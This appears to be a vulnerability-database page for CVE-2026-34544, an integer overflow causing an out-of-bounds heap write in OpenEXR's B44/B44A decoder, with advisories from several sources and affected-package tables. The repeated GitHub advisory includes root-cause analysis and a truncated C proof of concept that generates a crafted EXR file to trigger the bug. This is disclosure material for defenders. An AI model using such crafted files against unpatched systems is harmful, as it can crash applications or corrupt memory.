Every CVE Search/ Get API key

CVE-2026-34544

OpenEXR: integer overflow to OOB write in uncompress_b44_impl()

8.4 HighFix available

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
Active

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.25%Up 0.2 points since Apr 2, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.4

OpenEXR: integer overflow to OOB write in uncompress_b44_impl()

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.

Record
CVE-2026-34544
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-190, CWE-787
Updated
2026-11-02
EUVDEUVD-2026-18060 8.4

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.

Record
EUVD-2026-18060
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-h762-rhv3-h25v 8.4

OpenEXR: integer overflow to OOB write in uncompress_b44_impl()

Summary

The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.

Root cause

  • Variable declarations (internal_b44.c:535)
int nx, ny;

nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32_t.

  • Scratch buffer allocation (internal_b44:543)
nBytes = (uint64_t) (ny) * (uint64_t) (nx) *
               (uint64_t) (curc->bytes_per_element);

The allocation path correctly promotes to uint64_t before multiplying. The scratch buffer is always large enough to hold the full channel.

  • Row pointer reconstruction (internal_b44:560)
row0 = (uint16_t*) scratch;
row0 += y * nx;          
row1 = row0 + nx;
row2 = row1 + nx;
row3 = row2 + nx;

y and nx are both int. The product y * nx is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow

  • Out of Band write (internal_b44:592)
memcpy (row0, &s[0], n);
memcpy (row1, &s[4], n);
memcpy (row2, &s[8], n);
memcpy (row3, &s[12], n);

These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.

PoC

The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes row0 += y * nx, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.

#include <openexr.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define CHECK(call)                                                  
    do {                                                             
        exr_result_t _rv = (call);                                   
        if (_rv != EXR_ERR_SUCCESS) {                                
            fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv);   
            goto fail;                                               
        }                                                            
    } while (0)

static void fill_blocks(uint8_t* out, uint64_t n) {
    for (uint64_t i = 0; i < n; i++, out += 3) {
        out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);
    }
}

int main(void) {
    const int64_t  W      = 268435456;
    const int64_t  H      = 9;
    const char*    path   = "/tmp/poc_b44.exr";

    const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;
    const uint64_t psz    = blocks * 3;

    uint8_t* packed = (uint8_t*) malloc(psz);
    exr_context_t         ctxt   = NULL;
    exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;
    int                   part   = -1;
    exr_chunk_info_t      cinfo;
    exr_decode_pipeline_t dec    = EXR_DECODE_PIPELINE_INITIALIZER;
    uint16_t              dummy  = 0;
    int                   ok     = 0;

    if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; }
    fill_blocks(packed, blocks);

    CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));
    CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part));
    CHECK(exr_initialize_required_attr_simple(
              ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));
    CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF,
                         …
Record
GHSA-h762-rhv3-h25v
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-190, CWE-787
Updated
2026-11-02
NVD 8.4

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.

Record
CVE-2026-34544
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.3 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-190, CWE-787
Updated
2026-11-02
OSVALPINE-CVE-2026-34544 7.3

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.

Record
ALPINE-CVE-2026-34544
CVSS 3.1
7.3 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-03
OSVBELL-CVE-2026-34544 7.3
Record
BELL-CVE-2026-34544
CVSS 3.1
7.3 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
Show 17 moreShow less
OSV 8.4

OpenEXR: integer overflow to OOB write in uncompress_b44_impl()

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.

Record
CVE-2026-34544
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-190, CWE-787
Updated
2026-11-02
OSVDEBIAN-CVE-2026-34544 7.3

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.

Record
DEBIAN-CVE-2026-34544
CVSS 3.1
7.3 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVGHSA-h762-rhv3-h25v 8.4

OpenEXR: integer overflow to OOB write in uncompress_b44_impl()

Summary

The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.

Root cause

  • Variable declarations (internal_b44.c:535)
int nx, ny;

nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32_t.

  • Scratch buffer allocation (internal_b44:543)
nBytes = (uint64_t) (ny) * (uint64_t) (nx) *
               (uint64_t) (curc->bytes_per_element);

The allocation path correctly promotes to uint64_t before multiplying. The scratch buffer is always large enough to hold the full channel.

  • Row pointer reconstruction (internal_b44:560)
row0 = (uint16_t*) scratch;
row0 += y * nx;          
row1 = row0 + nx;
row2 = row1 + nx;
row3 = row2 + nx;

y and nx are both int. The product y * nx is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow

  • Out of Band write (internal_b44:592)
memcpy (row0, &s[0], n);
memcpy (row1, &s[4], n);
memcpy (row2, &s[8], n);
memcpy (row3, &s[12], n);

These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.

PoC

The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes row0 += y * nx, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.

#include <openexr.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define CHECK(call)                                                  
    do {                                                             
        exr_result_t _rv = (call);                                   
        if (_rv != EXR_ERR_SUCCESS) {                                
            fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv);   
            goto fail;                                               
        }                                                            
    } while (0)

static void fill_blocks(uint8_t* out, uint64_t n) {
    for (uint64_t i = 0; i < n; i++, out += 3) {
        out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);
    }
}

int main(void) {
    const int64_t  W      = 268435456;
    const int64_t  H      = 9;
    const char*    path   = "/tmp/poc_b44.exr";

    const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;
    const uint64_t psz    = blocks * 3;

    uint8_t* packed = (uint8_t*) malloc(psz);
    exr_context_t         ctxt   = NULL;
    exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;
    int                   part   = -1;
    exr_chunk_info_t      cinfo;
    exr_decode_pipeline_t dec    = EXR_DECODE_PIPELINE_INITIALIZER;
    uint16_t              dummy  = 0;
    int                   ok     = 0;

    if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; }
    fill_blocks(packed, blocks);

    CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));
    CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part));
    CHECK(exr_initialize_required_attr_simple(
              ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));
    CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF,
                         …
Record
GHSA-h762-rhv3-h25v
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-190, CWE-787
Updated
2026-11-02
OSVJLSEC-2026-146 8.4

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.

Record
JLSEC-2026-146
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.3 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVPYSEC-2026-2847 8.4

OpenEXR: integer overflow to OOB write in uncompress_b44_impl()

Summary

The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.

Root cause

  • Variable declarations (internal_b44.c:535)
int nx, ny;

nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32_t.

  • Scratch buffer allocation (internal_b44:543)
nBytes = (uint64_t) (ny) * (uint64_t) (nx) *
               (uint64_t) (curc->bytes_per_element);

The allocation path correctly promotes to uint64_t before multiplying. The scratch buffer is always large enough to hold the full channel.

  • Row pointer reconstruction (internal_b44:560)
row0 = (uint16_t*) scratch;
row0 += y * nx;          
row1 = row0 + nx;
row2 = row1 + nx;
row3 = row2 + nx;

y and nx are both int. The product y * nx is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow

  • Out of Band write (internal_b44:592)
memcpy (row0, &s[0], n);
memcpy (row1, &s[4], n);
memcpy (row2, &s[8], n);
memcpy (row3, &s[12], n);

These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.

PoC

The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes row0 += y * nx, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.

#include <openexr.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define CHECK(call)                                                  
    do {                                                             
        exr_result_t _rv = (call);                                   
        if (_rv != EXR_ERR_SUCCESS) {                                
            fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv);   
            goto fail;                                               
        }                                                            
    } while (0)

static void fill_blocks(uint8_t* out, uint64_t n) {
    for (uint64_t i = 0; i < n; i++, out += 3) {
        out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);
    }
}

int main(void) {
    const int64_t  W      = 268435456;
    const int64_t  H      = 9;
    const char*    path   = "/tmp/poc_b44.exr";

    const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;
    const uint64_t psz    = blocks * 3;

    uint8_t* packed = (uint8_t*) malloc(psz);
    exr_context_t         ctxt   = NULL;
    exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;
    int                   part   = -1;
    exr_chunk_info_t      cinfo;
    exr_decode_pipeline_t dec    = EXR_DECODE_PIPELINE_INITIALIZER;
    uint16_t              dummy  = 0;
    int                   ok     = 0;

    if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; }
    fill_blocks(packed, blocks);

    CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));
    CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part));
    CHECK(exr_initialize_required_attr_simple(
              ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));
    CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF,
                         …
Record
PYSEC-2026-2847
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
OSVRHSA-2026:84796 7.1

Red Hat Security Advisory: openexr security update

Record
RHSA-2026:84796
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H
Updated
2026-11-02
OSVRLSA-2026:84796 7.1

Important: openexr security update

OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.

Security Fix(es):

  • OpenEXR: OpenEXR: Memory corruption and Denial of Service via crafted EXR file processing (CVE-2026-34544)

  • OpenEXR: OpenEXR: Out-of-bounds write vulnerability via crafted EXR files (CVE-2026-59184)

  • OpenEXR: OpenEXR: Information disclosure and denial of service due to out-of-bounds read (CVE-2026-59189)

  • OpenEXR: OpenEXR: Denial of Service or Information Disclosure via crafted EXR image file (CVE-2026-59982)

  • OpenEXR: OpenEXR: Information disclosure and denial of service via out-of-bounds read (CVE-2026-59981)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
RLSA-2026:84796
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H
Updated
2026-11-02
OSVRLSA-2026:86983 7.1

Important: openexr security update

OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.

Security Fix(es):

  • openexr: OpenEXR: Memory corruption and Denial of Service via crafted EXR file processing (CVE-2026-34544)

  • openexr: OpenEXR: Denial of Service or Information Disclosure via crafted EXR image file (CVE-2026-59982)

  • openexr: OpenEXR: Out-of-bounds write vulnerability via crafted EXR files (CVE-2026-59184)

  • openexr: OpenEXR: Information disclosure and denial of service due to out-of-bounds read (CVE-2026-59189)

  • openexr: OpenEXR: Information disclosure and denial of service via out-of-bounds read (CVE-2026-59981)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
RLSA-2026:86983
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H
Updated
2026-11-02
OSVROOT-OS-DEBIAN-11-CVE-2026-34544 7.3

CVE-2026-34544 in openexr - Patched by Root

Root has patched CVE-2026-34544 in the openexr package for Root:Debian:11. Multiple fixed versions available.

Record
ROOT-OS-DEBIAN-11-CVE-2026-34544
CVSS 3.1
7.3 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVROOT-OS-DEBIAN-12-CVE-2026-34544 7.3

CVE-2026-34544 in openexr - Patched by Root

Root has patched CVE-2026-34544 in the openexr package for Root:Debian:12. Multiple fixed versions available.

Record
ROOT-OS-DEBIAN-12-CVE-2026-34544
CVSS 3.1
7.3 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVROOT-OS-DEBIAN-13-CVE-2026-34544 7.3

CVE-2026-34544 in openexr - Patched by Root

Root has patched CVE-2026-34544 in the openexr package for Root:Debian:13. Multiple fixed versions available.

Record
ROOT-OS-DEBIAN-13-CVE-2026-34544
CVSS 3.1
7.3 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2026-34544 8.4

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.

Record
UBUNTU-CVE-2026-34544
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
7.3 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVALSA-2026:84796 No score

Important: openexr security update

OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.

Security Fix(es):

  • OpenEXR: OpenEXR: Memory corruption and Denial of Service via crafted EXR file processing (CVE-2026-34544)
  • OpenEXR: OpenEXR: Out-of-bounds write vulnerability via crafted EXR files (CVE-2026-59184)
  • OpenEXR: OpenEXR: Information disclosure and denial of service due to out-of-bounds read (CVE-2026-59189)
  • OpenEXR: OpenEXR: Denial of Service or Information Disclosure via crafted EXR image file (CVE-2026-59982)
  • OpenEXR: OpenEXR: Information disclosure and denial of service via out-of-bounds read (CVE-2026-59981)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
ALSA-2026:84796
Updated
2026-11-02
OSVALSA-2026:86983 No score

Important: openexr security update

OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.

Security Fix(es):

  • openexr: OpenEXR: Memory corruption and Denial of Service via crafted EXR file processing (CVE-2026-34544)
  • openexr: OpenEXR: Denial of Service or Information Disclosure via crafted EXR image file (CVE-2026-59982)
  • openexr: OpenEXR: Out-of-bounds write vulnerability via crafted EXR files (CVE-2026-59184)
  • openexr: OpenEXR: Information disclosure and denial of service due to out-of-bounds read (CVE-2026-59189)
  • openexr: OpenEXR: Information disclosure and denial of service via out-of-bounds read (CVE-2026-59981)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
ALSA-2026:86983
Updated
2026-11-02
OSVCLSA-2026-1781180341 No score

openexr: Fix of CVE-2026-34544

  • CVE-2026-34544: fix B44/B44A integer overflow in row pointer arithmetic
Record
CLSA-2026-1781180341
Updated
2026-11-02
OSVCLSA-2026-1781184685 No score

openexr: Fix of CVE-2026-34544

  • CVE-2026-34544: fix B44/B44A integer overflow in row pointer arithmetic
Record
CLSA-2026-1781184685
Updated
2026-11-02
OSVopenSUSE-SU-2026:10505-1 No score

libIex-3_4-33-3.4.9-1.1 on GA media

These are all security issues fixed in the libIex-3_4-33-3.4.9-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:10505-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
openexr
PyPI
3.4.0 to 3.4.7
3.4.8
openexr
PyPI
3.3.0 to 3.3.8 None known
openexr
PyPI
3.2.0 to 3.2.6 None known
openexr
Alpine:v3.22
3.2.0 up to 3.3.11-r0
3.3.11-r0
openexr
Alpine:v3.23
3.2.0 up to 3.4.13-r0
3.4.13-r0
openexr
Alpine:v3.24
3.2.0 up to 3.4.10-r0
3.4.10-r0
openexr
AlmaLinux:10
From an advisory covering 5 CVEs
before 3.1.10-8.el10_2.5
3.1.10-8.el10_2.5
openexr-devel
AlmaLinux:10
From an advisory covering 5 CVEs
before 3.1.10-8.el10_2.5
3.1.10-8.el10_2.5
openexr-libs
AlmaLinux:10
From an advisory covering 5 CVEs
before 3.1.10-8.el10_2.5
3.1.10-8.el10_2.5
openexr-devel
AlmaLinux:9
From an advisory covering 5 CVEs
before 3.1.1-3.el9_8.5
3.1.1-3.el9_8.5
Show 31 moreShow less
Affected packages
PackageAffectedFixed
openexr
Alpaquita:stream
3.4.4-r0 up to 3.4.8-r0
3.4.8-r0
openexr
TuxCare:AlmaLinux:9.2
before 3.1.1-3.el9.tuxcare.els7
3.1.1-3.el9.tuxcare.els7
openexr-devel
TuxCare:AlmaLinux:9.2
before 3.1.1-3.el9.tuxcare.els7
3.1.1-3.el9.tuxcare.els7
openexr-libs
TuxCare:AlmaLinux:9.2
before 3.1.1-3.el9.tuxcare.els7
3.1.1-3.el9.tuxcare.els7
openexr
TuxCare:AlmaLinux:9.6
before 3.1.1-3.el9.tuxcare.els7
3.1.1-3.el9.tuxcare.els7
openexr-devel
TuxCare:AlmaLinux:9.6
before 3.1.1-3.el9.tuxcare.els7
3.1.1-3.el9.tuxcare.els7
openexr-libs
TuxCare:AlmaLinux:9.6
before 3.1.1-3.el9.tuxcare.els7
3.1.1-3.el9.tuxcare.els7
openexr
Debian:12
All versions, plus listed versions
3.1.13-13.1.13-23.1.5-53.1.5-5.13.1.5-5.1+hurd.1
Show 8 moreShow less
3.4.14-0.13.4.15+ds-13.4.16+ds-13.4.6+ds-13.4.6+ds-23.4.6+ds-33.4.6+ds-43.5.2+ds-1
None known
openexr
Debian:13
All versions, plus listed versions
3.1.13-23.4.14-0.13.4.15+ds-13.4.16+ds-13.4.6+ds-1
Show 4 moreShow less
3.4.6+ds-23.4.6+ds-33.4.6+ds-43.5.2+ds-1
None known
openexr
Debian:14
before 3.4.14-0.1, plus listed versions
3.1.13-23.4.6+ds-13.4.6+ds-23.4.6+ds-33.4.6+ds-4
3.4.14-0.1
openexr
PyPI
3.4.0 up to 3.4.8, plus listed versions
3.4.13.4.23.4.33.4.43.4.53.4.63.4.7
3.4.8
openexr
PyPI
3.3.0 to 3.3.8, plus listed versions
3.3.13.3.23.3.33.3.43.3.53.3.63.3.7
None known
openexr
PyPI
3.2.0 to 3.2.6, plus listed versions
3.2.33.2.43.2.5
None known
OpenEXR_jll
Julia
3.1.4+0 up to 3.4.8+0
3.4.8+0
openexr
PyPI
3.2.0 up to 3.4.8, plus listed versions
3.2.103.2.33.2.43.2.53.2.6
Show 24 moreShow less
3.2.73.2.83.2.93.3.03.3.13.3.103.3.113.3.123.3.23.3.33.3.43.3.53.3.63.3.73.3.83.3.93.4.03.4.13.4.23.4.33.4.43.4.53.4.63.4.7
3.4.8
openexr
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:3.1.10-8.el10_2.5
0:3.1.10-8.el10_2.5
openexr-debuginfo
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:3.1.10-8.el10_2.5
0:3.1.10-8.el10_2.5
openexr-debugsource
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:3.1.10-8.el10_2.5
0:3.1.10-8.el10_2.5
openexr-libs
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:3.1.10-8.el10_2.5
0:3.1.10-8.el10_2.5
openexr-libs-debuginfo
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:3.1.10-8.el10_2.5
0:3.1.10-8.el10_2.5
openexr-devel
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:3.1.10-8.el10_2.5
0:3.1.10-8.el10_2.5
openexr
Rocky Linux:10
From an advisory covering 5 CVEs
before 0:3.1.10-8.el10_2.5
0:3.1.10-8.el10_2.5
openexr
Rocky Linux:9
From an advisory covering 5 CVEs
before 0:3.1.1-3.el9_8.5
0:3.1.1-3.el9_8.5
openexr
Root:Debian:11
before 2.5.4-2+deb11u1.aikido.17
2.5.4-2+deb11u1.aikido.172.5.4-2+deb11u1.aikido.162.5.4-2+deb11u1.root.io.152.5.4-2+deb11u1.aikido.18
rootio-openexr
Root:Debian:11
before 2.5.4-2+deb11u1.aikido.17
2.5.4-2+deb11u1.aikido.172.5.4-2+deb11u1.aikido.162.5.4-2+deb11u1.root.io.152.5.4-2+deb11u1.aikido.18
openexr
Root:Debian:12
before 3.1.5-5.root.io.15
3.1.5-5.root.io.153.1.5-5.root.io.213.1.5-5.root.io.223.1.5-5.root.io.123.1.5-5.root.io.233.1.5-5.root.io.133.1.5-5.root.io.143.1.5-5.root.io.113.1.5-5.root.io.163.1.5-5.root.io.173.1.5-5.root.io.183.1.5-5.root.io.193.1.5-5.root.io.203.1.5-5.aikido.243.1.5-5.aikido.25
rootio-openexr
Root:Debian:12
before 3.1.5-5.root.io.15
3.1.5-5.root.io.153.1.5-5.root.io.213.1.5-5.root.io.223.1.5-5.root.io.123.1.5-5.root.io.233.1.5-5.root.io.133.1.5-5.root.io.143.1.5-5.root.io.113.1.5-5.root.io.163.1.5-5.root.io.173.1.5-5.root.io.183.1.5-5.root.io.193.1.5-5.root.io.203.1.5-5.aikido.243.1.5-5.aikido.25
openexr
Root:Debian:13
before 3.1.13-2.aikido.14
3.1.13-2.aikido.143.1.13-2.root.io.133.1.13-2.root.io.123.1.13-2.aikido.15
rootio-openexr
Root:Debian:13
before 3.1.13-2.aikido.14
3.1.13-2.aikido.143.1.13-2.root.io.133.1.13-2.root.io.123.1.13-2.aikido.15
openexr
Ubuntu:26.10
All versions, plus listed versions
3.1.13-2build13.4.6+ds-4ubuntu3
None known
openexr
openSUSE:Tumbleweed
From an advisory covering 8 CVEs
before 3.4.9-1.1
3.4.9-1.1

History

History
RecordedChangedSources
affected, facts
affected, aliases, referencesOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

